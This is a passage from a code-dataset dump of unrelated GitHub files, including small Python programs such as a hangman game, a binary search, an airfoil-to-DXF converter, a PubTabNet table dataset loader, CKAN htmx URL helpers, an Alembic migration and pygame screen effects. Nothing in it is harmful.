OpenBCIGanglion()\nboard.start_stream(print_raw)\n","repo_name":"zeevikal/senses-speckle","sub_path":"utils/eeg_read_data.py","file_name":"eeg_read_data.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33365916499","text":"from cw_http import CwHTTP\nfrom model.disk import Disk\n\nclass DiskCwHTTP(CwHTTP):\n\n def __init__(self, service, timespan):\n metric_name = 'cpu_util'\n super(DiskCwHTTP, self).__init__(service, metric_name, timespan)\n\n def load_entities(self):\n entities = super(DiskCwHTTP, self).load_entities()\n disk_map = {}\n\n for item in entities:\n key = item['metadata']['display_name']\n if key in disk_map:\n disk_map[key].append(item['volume'])\n else:\n disk_map[key] = [item['volume']]\n\n disk = []\n for display_name in disk_map:\n disk.append(Disk.create_from_log({'display_name': display_name, 'volume': \",\".join(map(str, disk_map[display_name]))}))\n\n return disk\n\n","repo_name":"sealuzh/ContextBasedAnalytics","sub_path":"extraction/http/disk_cw_http.py","file_name":"disk_cw_http.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"17517926699","text":"import re\n\ndef to_rna(dna):\n if not is_valid(dna):\n return '';\n\n rep = {'G' : 'C', 'C' : 'G', 'T': 'A', 'A' : 'U'}\n rep = dict((re.escape(k), v) for k, v in rep.iteritems())\n pattern = re.compile(\"|\".join(rep.keys()))\n rna = pattern.sub(lambda m: rep[re.escape(m.group(0))], dna)\n return rna;\n\ndef is_valid(dna):\n nucleotides = ('A','C','G','T')\n return all(n in nucleotides for n in dna);","repo_name":"silvadanilo/exercism","sub_path":"python/rna-transcription/rna_transcription.py","file_name":"rna_transcription.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73237608786","text":"arr = [3, 10, 40, 20, 50, 70, 80]\n\n# -- recursive way\n\n# def binarySearch(start, end, target):\n\n# if (start <= end):\n# mid = (start+end)//2\n\n# if (arr[mid] == target):\n# return mid\n# if (arr[mid-1] == target):\n# return mid-1\n# if (arr[mid+1] == target):\n# return mid+1\n\n# if (target > arr[mid]):\n# return binarySearch(mid+1, end, target)\n# else:\n# return binarySearch(start, mid-1, target)\n\n# return -1\n\n\n# print(binarySearch(0, len(arr)-1, 70))\n\n# -- iterative way\n# -- auxiliary space complexity is log(n)\n\ndef binarySearch(arr, target):\n start = 0\n end = len(arr)-1\n\n while (start <= end):\n mid = (start+end)//2\n\n if (arr[mid] == target):\n return mid\n if (mid-1 >= 0 and arr[mid-1] == target):\n return mid-1\n if (mid+1 <= end and arr[mid+1] == target):\n return mid+1\n\n if (arr[mid] < target):\n start = mid+1\n else:\n end = mid-1\n return -2\n\n\nprint(binarySearch(arr, 701))\n","repo_name":"asamad35/DSA-in-JS-Python","sub_path":"DSA-IN-PYTHON/aditya-verma-binary-search/search_el_in _amost _sorted_arr.py","file_name":"search_el_in _amost _sorted_arr.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10883582384","text":"import random\nfrom hangman_words import word_list\nfrom hangman_art import stages, logo\n\nprint(logo)\n\nlifeCount = 6\n#randomly get a word from the word_list\nchosenWord = random.choice(word_list)\nprint(f'The answer is {chosenWord}.')\ndisplay = []\nguessList = []\nfor n in range(len(chosenWord)):\n display.append('_')\nprint(display)\ngameIsOver = False\n#當display裡還有'_'時,繼續遊戲\nwhile '_' in display and not gameIsOver:\n #猜一個字母\n userInput = input('Guess a letter:\\n').lower()\n #如果猜過了,就放進guessList\n if userInput in guessList:\n print(f'You have already guessed {userInput}.')\n #如果沒猜過,就繼續\n else:\n #放進guessList\n guessList.append(userInput)\n #如果猜對,就把display裡的'_'換成猜的字母\n if userInput in chosenWord:\n print(f'你輸入{userInput}猜對了')\n for ind in range(len(chosenWord)):\n if userInput == chosenWord[ind]:\n display[ind] = userInput\n #如果猜錯,就lifeCount - 1\n else:\n print(f'你猜{userInput}錯了')\n lifeCount -= 1\n print(display)\n print(stages[lifeCount])\n #如果lifeCount = 0,就輸了\n if lifeCount == 0:\n print('You lose.')\n gameIsOver = True\n break\n elif '_' not in display:\n print('You win. GameOver')\n gameIsOver = True\n break\n","repo_name":"zoro0611/zoro0611.github.io","sub_path":"Python_Practice/Entry_Level/hangman/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17410375115","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom hwt.code import Concat, Switch\nfrom hwt.interfaces.std import Handshaked, VectSignal\nfrom hwt.interfaces.utils import addClkRstn, propagateClkRstn\nfrom hwt.math import log2ceil, isPow2\nfrom hwt.synthesizer.param import Param\nfrom hwt.synthesizer.unit import Unit\nfrom hwt.synthesizer.vectorUtils import fitTo\nfrom hwtLib.amba.datapump.intf import AxiRDatapumpIntf\nfrom hwtLib.handshaked.fifo import HandshakedFifo\nfrom hwtLib.handshaked.streamNode import StreamNode\nfrom hwt.hdl.types.bits import Bits\n\n\nclass ArrayItemGetter(Unit):\n \"\"\"\n Get specific item from array by index\n\n .. hwt-autodoc::\n \"\"\"\n def _config(self):\n self.ITEMS = Param(32)\n self.ITEM_WIDTH = Param(32)\n self.ID = Param(0)\n self.ID_WIDTH = Param(4)\n self.DATA_WIDTH = Param(64)\n self.ADDR_WIDTH = Param(32)\n self.MAX_TRANS_OVERLAP = Param(16)\n\n def _declr(self):\n addClkRstn(self)\n # addr of start of array\n self.base = VectSignal(self.ADDR_WIDTH)\n\n # input index of item to get\n self.index = Handshaked()\n self.index.DATA_WIDTH = log2ceil(self.ITEMS)\n\n # output item from array\n self.item = Handshaked()._m()\n self.item.DATA_WIDTH = self.ITEM_WIDTH\n\n self.ITEMS_IN_DATA_WORD = int(self.DATA_WIDTH) // int(self.ITEM_WIDTH)\n\n with self._paramsShared():\n # interface for communication with datapump\n self.rDatapump = AxiRDatapumpIntf()._m()\n self.rDatapump.MAX_BYTES = self.DATA_WIDTH // 8\n\n if self.ITEMS_IN_DATA_WORD > 1:\n assert isPow2(self.ITEMS_IN_DATA_WORD)\n f = self.itemSubIndexFifo = HandshakedFifo(Handshaked)\n f.DATA_WIDTH = log2ceil(self.ITEMS_IN_DATA_WORD)\n f.DEPTH = self.MAX_TRANS_OVERLAP\n\n def _impl(self):\n propagateClkRstn(self)\n ITEM_WIDTH = int(self.ITEM_WIDTH)\n DATA_WIDTH = int(self.DATA_WIDTH)\n ITEMS_IN_DATA_WORD = self.ITEMS_IN_DATA_WORD\n ITEM_SIZE_IN_WORDS = 1\n\n if ITEM_WIDTH % 8 != 0 or ITEM_SIZE_IN_WORDS * DATA_WIDTH != ITEMS_IN_DATA_WORD * ITEM_WIDTH:\n raise NotImplementedError(ITEM_WIDTH)\n\n req = self.rDatapump.req\n req.id(self.ID)\n req.rem(0)\n\n if ITEMS_IN_DATA_WORD == 1:\n addr = Concat(self.index.data, Bits(log2ceil(ITEM_WIDTH // 8)).from_py(0))\n req.addr(self.base + fitTo(addr, req.addr))\n StreamNode(masters=[self.index], slaves=[req]).sync()\n\n self.item.data(self.rDatapump.r.data)\n StreamNode(masters=[self.rDatapump.r], slaves=[self.item]).sync()\n\n else:\n r = self.rDatapump.r.data\n f = self.itemSubIndexFifo\n subIndexBits = f.dataIn.data._dtype.bit_length()\n itemAlignBits = log2ceil(ITEM_WIDTH // 8)\n addr = Concat(self.index.data[:subIndexBits],\n Bits(itemAlignBits + subIndexBits).from_py(0))\n\n req.addr(self.base + fitTo(addr, req.addr))\n f.dataIn.data(self.index.data[subIndexBits:])\n StreamNode(masters=[self.index],\n slaves=[req, f.dataIn]).sync()\n\n Switch(f.dataOut.data).add_cases([\n (i, self.item.data(r[(ITEM_WIDTH * (i + 1)):(ITEM_WIDTH * i)]))\n for i in range(ITEMS_IN_DATA_WORD)\n ])\n StreamNode(masters=[self.rDatapump.r, f.dataOut],\n slaves=[self.item]).sync()\n\n\nif __name__ == \"__main__\":\n from hwt.synthesizer.utils import to_rtl_str\n u = ArrayItemGetter()\n print(to_rtl_str(u))\n","repo_name":"Nic30/hwtLib","sub_path":"hwtLib/structManipulators/arrayItemGetter.py","file_name":"arrayItemGetter.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"48"} +{"seq_id":"38453809482","text":"a = []\n# timestep = int(input())\nfor i in range(394):\n k = input()\n a.append(list(map(int, k[10:24].split(','))) + list(map(int, k[36:42].split(','))))\n # a.append(list(map(int, k[10:16].split(','))) + list(map(int, k[28:34].split(','))))\n# print(a)\nstep = 220000\nfor wq in range(step):\n for j in range(len(a)):\n a[j][0] += a[j][2]\n a[j][1] += a[j][3]\n # x[a[j][0]] += 1\n # y[a[j][1]] += 1\n\ntimestep = step\nwhile timestep < step + 1000000:\n x = {}\n y = {}\n for j in range(len(a)):\n a[j][0] += a[j][2]\n a[j][1] += a[j][3]\n if(a[j][0] not in x):\n x[a[j][0]] = 0\n if(a[j][1] not in y):\n y[a[j][1]] = 0\n x[a[j][0]] += 1\n y[a[j][1]] += 1\n highX = 10 \n highY = 7 \n countX = 0\n countY = 0\n posDict = {}\n for k in x:\n if x[k] >= highX:\n countX += x[k]\n\n for k in y:\n if y[k] > highY:\n countY += y[k]\n # highY = max(highY, y[k])\n\n if(countY > 4 or countX > 4):\n a.sort(key=lambda x: x[1]) \n minYPos = a[0][1]\n a.sort()\n minXPos = a[0][0]\n consecCount = 0\n highConsec = 0\n it = 0\n while it < len(a) - 1:\n if(a[it][0] + 1 == a[it + 1][0]):\n consecCount += 1\n highConsec = max(highConsec, consecCount)\n else:\n consecCount = 0\n it += 1\n if(highConsec > 4):\n # print(\"minXPos\", minXPos)\n # print(\"minYPos\", minYPos)\n modNum = 120\n board = [['.' for n in range(modNum)] for q in range(modNum)]\n print(timestep)\n for w in range(len(a)):\n # print(a[w][1] // 1000 + 60)\n # print(a[w][0] // 1000 + 60)\n board[(a[w][1] - minYPos) % modNum][(a[w][0] - minXPos) % modNum] = '#'\n # print('new', timestep)\n for w in board:\n print(*w, sep='')\n # print(board)\n timestep += 1\n# print(x)\n# print(y)\n\n\n\n","repo_name":"Goldenlion5648/AdventOfCode2018","sub_path":"day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43516599162","text":"# 방향 없는 그래프가 주어졌을 때, 연결 요소 (Connected Component)의 개수를 구하는 프로그램을 작성하시오.\r\n\r\nimport sys\r\ninput = sys.stdin.readline\r\nsys.setrecursionlimit(10**6)\r\n\r\ndef DFS(start, depth):\r\n visited[start] = True\r\n for i in graph[start]:\r\n if not visited[i]:\r\n DFS(i, depth+1)\r\n\r\n\r\nN, M = map(int, input().strip().split())\r\ngraph = [[] for _ in range(N+1)]\r\nfor _ in range(M):\r\n u, v = map(int, input().strip().split())\r\n graph[u].append(v)\r\n graph[v].append(u)\r\n\r\nvisited = [False] * (N+1)\r\nanswer = 0\r\n\r\nfor i in range(1 ,N+1):\r\n if not visited[i]:\r\n DFS(i, 0)\r\n answer += 1\r\nprint(answer)","repo_name":"dnwls16071/PS_Baekjoon","sub_path":"10000~/11724.py","file_name":"11724.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3873552679","text":"# Connor Luckett\nimport argparse\nimport os\n\nimport ezdxf\nimport numpy as np\nimport pandas as pd\n\n\ndef main():\n # Parse the arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-i',\n '--input',\n type=str,\n help=\"Path to DAT file\",\n )\n parser.add_argument(\n '-o',\n '--output',\n default=os.getcwd(),\n type=str,\n help=\"Output directory to place the DXF file\",\n )\n parser.add_argument(\n '-s',\n '--scale',\n default=1,\n type=float,\n help=\"Chord length of airfoil (AutoCAD is unit-agnostic)\",\n )\n args = parser.parse_args()\n\n # Get the file's name and location and units to be used\n input_path = args.input\n output_dir = args.output\n scale = args.scale\n\n # Check that the inputs are valid\n assert os.path.isfile(input_path), \"File does not exist\"\n assert scale > 0, \"Scale must be greater than 0\"\n assert os.path.isdir(output_dir), \"Output path must be a directory\"\n\n # Good to go!\n print(\"Reading in {} with scale {}\".format(input_path, scale))\n\n # Load the file\n coord_df = pd.read_csv(input_path, sep=r\"\\s+\", header=None, skiprows=1, dtype=np.float64)\n # Scale it\n coord_df = coord_df * scale\n # Add a column of zeros to fool AutoCAD (AutoCAD is such a jerk)\n coord_df[2] = 0\n # Convert the dataframe to tuples for drawing\n coords = list(coord_df.itertuples(index=False, name=None))\n\n # Initialize the DXF file\n dxf = ezdxf.new(dxfversion='AC1027')\n # Create a model space\n msp = dxf.modelspace()\n # Add a spline\n msp.add_spline(coords)\n # Close off the airfoil\n first = coords[0]\n last = coords[-1]\n msp.add_line(first, last)\n\n # Save as a DXF\n output_file = '{}.dxf'.format(os.path.splitext(os.path.basename(input_path))[0])\n output_path = os.path.join(output_dir, output_file)\n print(\"Saving as: {}\".format(output_path))\n dxf.saveas(output_path)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cobelu/FoilToDxf","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16622538739","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set()\n\n# monthly income\nscenarios = [(0,0,4,0,0), (0,0,4,20,.25), (0,0,4,40,.15),\n (0,0,4,70,.125), (1, 80, 4, 70,.125)]\nscenes=[]\nfor bdr_g, p_g, bdr_h, p_h, vac in scenarios:\n entry = [bdr_g, p_g, bdr_h, p_h, vac]\n garage =bdr_g*p_g*365/12\n house = bdr_h*p_h*365/12\n vacancy = -vac * (garage + house) \n property_management = -.5 * (garage + house + vacancy) \n mom_rent = -600 if (garage+house) > 0 else 0\n\n # monthly expenses\n tax = 432\n insurance = 125\n electric = 94.52 # avg. monthly utility bill for MI\n water = 0\n sewer = 0\n garbage = 0 \n gas = 0\n lawn = 100*9/12\n snow = 100*3/12\n repairs = 100\n mortgage = 762.15\n\n # build dataframe\n col1 = ['Income', 'Income', 'Income', 'Income', 'Income',\n 'Expenses', 'Expenses', 'Expenses', 'Expenses',\n 'Expenses', 'Expenses', 'Expenses', 'Expenses',\n 'Expenses', 'Expenses', 'Expenses']\n \n col2 = ['Garage', 'House', 'Vacancy', 'Property Management', 'Mom Rent',\n 'Tax', 'Insurance', 'Electric', 'Water', \n 'Sewer','Garbage', 'Gas', 'Lawn',\n 'Snow', 'Repairs', 'Mortgage']\n values = [garage, house, vacancy, property_management, mom_rent, tax, insurance, \n electric, water, sewer, garbage, gas, lawn, snow, repairs, mortgage] \n #tuples = list(zip(*arrays))\n #index = pd.MultiIndex.from_tuples(tuples)\n\n data = pd.DataFrame([col1, col2, values]).T\n data.columns = ['Type1', 'Type2', 'Values']\n #print(data)\n\n entry.extend(data.groupby('Type1').sum().Values.values)\n entry.append(np.sum(entry[-1] - entry[-2]))\n scenes.append(entry)\ncolumns = ['bdr_g', 'p_g', 'bdr_h', 'p_h', \n 'vac', 'expenses', 'revenue','income'] \npd.DataFrame(scenes, columns = columns).to_csv('scenarios.csv', index=False)\ndata.to_csv('house.csv', index=False)\n#print(data.groupby('Type1').sum())\nmonthly_cashflow = [ x[-1] for x in scenes]\nnames = ['Status Quo', 'Light Rehab', 'Low Rehab', 'Medium Rehab', \n 'High Rehab']\n\nfig, ax = plt.subplots()\n#fig.figsize=(15,15)\nax.bar(names, monthly_cashflow, .35)\nax.set_ylabel('$')\nax.set_title('Monthly Cash Flow')\nplt.xticks(rotation=15)\nplt.tight_layout()\nplt.savefig('monthly_cash_flow')\nplt.show()\n## monthly cash flow\n#total_monthly_cashflow = total_monthly_income_current - total_monthly_expenses\n#\n## cash on cash ROI\n#repairs_start = 5000\n#total_investment = repairs\n#\n#roi_yr1 = 12*total_monthly_cashflow/ total_investment\n#\n## roi after sale \n#house_value_current = 300000\n#repairs_start = 5000\n#cap_exp = 40000\n#rental_income_yr1 = total_monthly_cashflow*12\n#rental_income_yr2 = (400*6*12) + 80*365*.75 - 12*total_monthly_expenses\n#\n#house_value_sold = 600000\n#print(data)\n#data.to_csv('house.csv')\n##income.to_csv('income.csv')\n##expenses.to_csv('expenses.csv')\n#\n##print(income)\n##print(expenses)\n##print(cash_flow)\n##print(cash_roi)\n#\n##dic = {'Income':{'Garage':garage, 'House':house},\n## 'Expenses':{'Tax':tax, 'Insurance':insurance, 'Electric':electric,\n## 'Water':water, 'Sewer':sewer, 'Garbage':garbage, \n## 'Gas':gas, 'Lawn':lawn, 'Snow':snow, 'Vacancy':vacancy,\n## 'Repairs':repairs, 'Cap. Ex.':cap_ex, \n## 'Property Management':property_management, \n## 'Mortgage':mortgage},\n## 'Cash Flow': total_monthly_cashflow,\n## 'Cash ROI':roi}\n##data = pd.DataFrame(dic)\n","repo_name":"geofflangenderfer/mom","sub_path":"mom_financial_projection.py","file_name":"mom_financial_projection.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5227959606","text":"import jsonlines\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nimport cv2\n\nfrom sberocr.table_parsing.tools.table_constructor import construct_table_from_pubtabnet as construct_ptn\nfrom sberocr.table_parsing.tools.table_convertor import convert_table_to_edd_train as convert_edd\nfrom sberocr.table_parsing.tools.table_modifier import random_table_modification as rand_aug\nfrom sberocr.utils.html_utils import HTMLTableError\n\nfrom utils.utils import load_elements, ohe\n\n\nclass PubTabNetBlack(Dataset):\n def __init__(self,\n annotation_file,\n image_dir,\n elem_dict_path='./utils/dict/table_elements.txt',\n ):\n super().__init__()\n\n with jsonlines.open(annotation_file, 'r') as reader:\n self.labels = list(reader)\n\n self.element_dict = dict()\n for i, elem in enumerate(load_elements(elem_dict_path)):\n self.element_dict[elem.strip()] = i\n\n self.image_shape = (512, 512)\n self.grid_size = 256\n self.image_dir = image_dir\n\n def ohe(self, inputs):\n inputs = np.asarray(inputs)\n mask = np.zeros((inputs.size, inputs.max()+1))\n mask[np.arange(inputs.size), inputs] = 1\n return mask\n\n def __getitem__(self, item):\n data = self.labels[item]\n try:\n table = construct_ptn(data, self.image_dir, True)\n table = rand_aug(table)\n struct, bboxes, rows, columns = convert_edd(table, self.grid_size)\n\n except HTMLTableError:\n print(f'HTMLTableError in idx: {item}')\n return None\n except IndexError:\n print(f'IndexError in idx: {item}')\n return None\n except ValueError:\n print(f'ValueError in idx: {item}')\n return None\n\n struct_idx = [self.element_dict[tag.strip()] for tag in struct]\n struct_ohe = ohe(struct_idx)\n\n image = self.prepare_image(table)\n bboxes = self.normalize_bbox(table, bboxes)\n image, struct_ohe, bboxes, rows, columns = self.to_tensor([image, struct_ohe, bboxes, rows, columns])\n return image, struct_ohe, bboxes, rows, columns\n \n @staticmethod\n def to_tensor(elements):\n return [torch.tensor(el).float() for el in elements]\n\n def prepare_image(self, table):\n image = table.image\n image = cv2.resize(image, self.image_shape)\n image = np.rollaxis(image, 2, 0)/255\n return image\n\n def __len__(self):\n return len(self.labels)\n\n @staticmethod\n def normalize_bbox(table, bboxes):\n h, w = table.image.shape[:2]\n result = []\n for bbox in bboxes:\n x0, y0, x1, y1 = bbox\n result.append([x0/w, y0/h, x1/w, y1/h])\n return result\n","repo_name":"Nazar96/TableEDD","sub_path":"data/black_pubtabnet.py","file_name":"black_pubtabnet.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21918000113","text":"import re\n\ndef add_param_or_remove_it_if_exist(url, key, value):\n \"\"\"Add a parameter to the URL or remove it if it already exists.\n \n It is used to htmx_facet_list.html to help with the URL attribute\n of the selected facet.\n \"\"\"\n value = value.replace(\" \", \"%20\")\n # regex to match key=value or &key=value\n pattern = f\"([&?]){key}={value}\"\n active = False\n match = re.search(pattern, url)\n if match:\n active = True\n url = re.sub(pattern, \"\", url)\n else:\n url += '&' + key + '=' + value\n # check if the parameter was added at the end of the URL\n if '?' not in url:\n url = url.replace('&', '?', 1)\n return url, active\n\n\ndef remove_param_if_exist(url, key, value):\n \"\"\"Remove a parameter from the URL if it exists.\n \n This is user in htmx_search.html to remove the `q` and `sort` parameter from\n the URL. For some reason, htmx does not remove the `q` parameter from the\n URL when a new search is done, causing the `&q=search_term` to be appended \n each time a user does a query.\n\n This may be a bug in htmx, but I am not sure.\n \"\"\"\n value = value.replace(\" \", \"%20\")\n pattern = f\"([&?]){key}={value}\"\n match = re.search(pattern, url)\n if match:\n url = re.sub(pattern, \"\", url)\n # check if the parameter was added at the end of the URL\n if '?' not in url:\n url = url.replace('&', '?', 1)\n return url\n","repo_name":"pdelboca/ckanext-htmx-demo","sub_path":"ckanext/htmx/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13395082056","text":"\"\"\"models\n\nRevision ID: db8355aca5cb\nRevises: \nCreate Date: 2022-06-27 16:25:44.308937\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'db8355aca5cb'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('catalogs',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('name', sa.String(length=40), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_catalogs_id'), 'catalogs', ['id'], unique=False)\n op.create_table('users',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('name', sa.String(length=40), nullable=True),\n sa.Column('telegram_id', sa.Integer(), nullable=True),\n sa.Column('telegram_login', sa.String(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_users_id'), 'users', ['id'], unique=False)\n op.create_table('products',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('name', sa.String(), nullable=True),\n sa.Column('description', sa.String(), nullable=True),\n sa.Column('price', sa.Numeric(), nullable=True),\n sa.Column('available', sa.Integer(), nullable=True),\n sa.Column('catalog_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['catalog_id'], ['catalogs.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_products_id'), 'products', ['id'], unique=False)\n op.create_table('sales',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('buyer_id', sa.Integer(), nullable=True),\n sa.Column('product_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['buyer_id'], ['users.id'], ),\n sa.ForeignKeyConstraint(['product_id'], ['products.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_sales_id'), 'sales', ['id'], unique=False)\n op.create_table('delivery',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('street', sa.String(), nullable=True),\n sa.Column('house_number', sa.String(), nullable=True),\n sa.Column('date', sa.DateTime(), nullable=True),\n sa.Column('sale_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['sale_id'], ['sales.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_delivery_id'), 'delivery', ['id'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_delivery_id'), table_name='delivery')\n op.drop_table('delivery')\n op.drop_index(op.f('ix_sales_id'), table_name='sales')\n op.drop_table('sales')\n op.drop_index(op.f('ix_products_id'), table_name='products')\n op.drop_table('products')\n op.drop_index(op.f('ix_users_id'), table_name='users')\n op.drop_table('users')\n op.drop_index(op.f('ix_catalogs_id'), table_name='catalogs')\n op.drop_table('catalogs')\n # ### end Alembic commands ###\n","repo_name":"Raoster100/milkapi","sub_path":"migrations/versions/db8355aca5cb_models.py","file_name":"db8355aca5cb_models.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"12735305822","text":"import os\nimport os.path as osp\nimport numpy as np\n# `pip install easydict` if you don't have it\n# the easydict can access the domain using dot\nfrom easydict import EasyDict as edict\n\n__C = edict()\n# Consumers can get config by:\n# from fast_rcnn_config import cfg\ncfg = __C\n\n# Root directory of project\n#__C.ROOT_DIR = osp.abspath(osp.join(osp.dirname(__file__), '..', '..'))\n__C.ROOT_DIR = osp.abspath(osp.join(osp.dirname(__file__), '..'))\n__C.POST_FILENAME = 'repos/mini_post'\n__C.DATAPATH = 'data/stc/'\n__C.COMMENT_FILENAME = 'repos/mini_comment'\n__C.FILTER_POSTFIX = '_filtered'\n__C.INDEX_POSTFIX = '_index'\n__C.SEG_POSTFIX = '_seg'\n\n# Place outputs under an experiments directory\n__C.EXP_DIR = 'default'\n\ndef get_output_dir(imdb, net):\n \"\"\"Return the directory where experimental artifacts are placed.\n\n A canonical path is built using the name from an imdb and a network\n (if not None).\n \"\"\"\n path = osp.abspath(osp.join(__C.ROOT_DIR, 'output', __C.EXP_DIR, imdb.name))\n if net is None:\n return path\n else:\n return osp.join(path, net.name)\n\ndef _merge_a_into_b(a, b):\n \"\"\"Merge config dictionary a into config dictionary b, clobbering the\n options in b whenever they are also specified in a.\n \"\"\"\n if type(a) is not edict:\n return\n\n for k, v in a.iteritems():\n # a must specify keys that are in b\n if not b.has_key(k):\n raise KeyError('{} is not a valid config key'.format(k))\n\n # the types must match, too\n if type(b[k]) is not type(v):\n raise ValueError(('Type mismatch ({} vs. {}) '\n 'for config key: {}').format(type(b[k]),\n type(v), k))\n\n # recursively merge dicts\n if type(v) is edict:\n try:\n _merge_a_into_b(a[k], b[k])\n except:\n print('Error under config key: {}'.format(k))\n raise\n else:\n b[k] = v\n\n#get config from a yaml file\ndef cfg_from_file(filename):\n \"\"\"Load a config file and merge it into the default options.\"\"\"\n import yaml\n with open(filename, 'r') as f:\n yaml_cfg = edict(yaml.load(f))\n\n _merge_a_into_b(yaml_cfg, __C)\n","repo_name":"vsooda/AByteOfNLP","sub_path":"test/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41626607912","text":"import os\nimport pathlib\nimport re\n\nfrom sys import platform\nfrom setuptools import Extension, setup\nfrom setuptools.command.build_ext import build_ext as build_ext\nfrom setuptools.command.sdist import sdist as sdist\n\nhere = pathlib.Path(__file__).parent\ntxt = (here / 'picoloop' / '__version__.py').read_text()\nversion = re.findall(r\"^__version__ = '([^']+)'\\r?$\", txt, re.M)[0]\n\nCFLAGS = ['-O3']\nPICOEV_DIR = os.path.join(os.path.dirname(__file__), 'picoev')\n\nif platform.startswith(\"linux\"):\n picoev = os.path.join(PICOEV_DIR, \"picoev_epoll.c\")\nelif platform == \"darwin\":\n picoev = os.path.join(PICOEV_DIR, \"picoev_kqueue.c\")\nelse:\n picoev = os.path.join(PICOEV_DIR, \"picoev_select.c\")\n\nsetup(\n name='picoloop',\n version='0.0.1',\n description='',\n author='Sepehr Hamzehlouy',\n author_email='s.hamzelooy@gmail.com',\n license='MIT',\n url='https://github.com/RevengeComing/picoloop',\n packages=['picoloop'],\n ext_modules=[\n Extension(\n 'picoloop.loop',\n [\n \"picoloop/loop.c\",\n picoev\n ],\n include_dirs=['.']\n )\n ],\n include_package_data=True\n)","repo_name":"RevengeComing/picoloop","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39550923212","text":"import pygame as pg\nfrom concurrent.futures import Future\n\nclass ScreenEffectList(pg.sprite.Group):\n def __init__(self):\n super().__init__()\n self.screen = pg.display.get_surface()\n\n @property\n def sprites(self):\n return super().sprites()\n\n def update(self,events):\n if self.sprites:\n self.sprites[0].update(self.screen,events)\n\n def get_sprite(self):\n return self.sprites[0]\n\n\n\n\nclass Darking(pg.sprite.Sprite):\n def __init__(self, speed=4, sleep=1000, reverse=False,end_func=lambda:None,start_func=lambda:None):\n super().__init__()\n self.surface = pg.Surface(pg.display.get_window_size(), pg.SRCALPHA)\n self.surface.fill((0, 0, 0))\n self.rect = self.surface.get_rect()\n self.time = pg.time.get_ticks()\n self.sleep = sleep\n self.speed = speed\n self.end_func = end_func\n self.start_func = start_func()\n self.flag_reverse = reverse\n self.alpha = 255 if not reverse else 0\n self.surface.set_alpha(self.alpha)\n\n def update(self, screen,events):\n current_time = pg.time.get_ticks()\n if current_time - self.time >= self.sleep:\n self.surface.set_alpha(self.alpha)\n if 0 <= self.alpha <= 255:\n self.alpha -= self.speed if not self.flag_reverse else -self.speed\n else:\n self.end_func()\n self.kill()\n screen.blit(self.surface, self.rect)\n\nclass DarkScreenPress(pg.sprite.Sprite):\n def __init__(self):\n super().__init__()\n self.surface = pg.Surface(pg.display.get_window_size(), pg.SRCALPHA)\n self.surface.fill((0, 0, 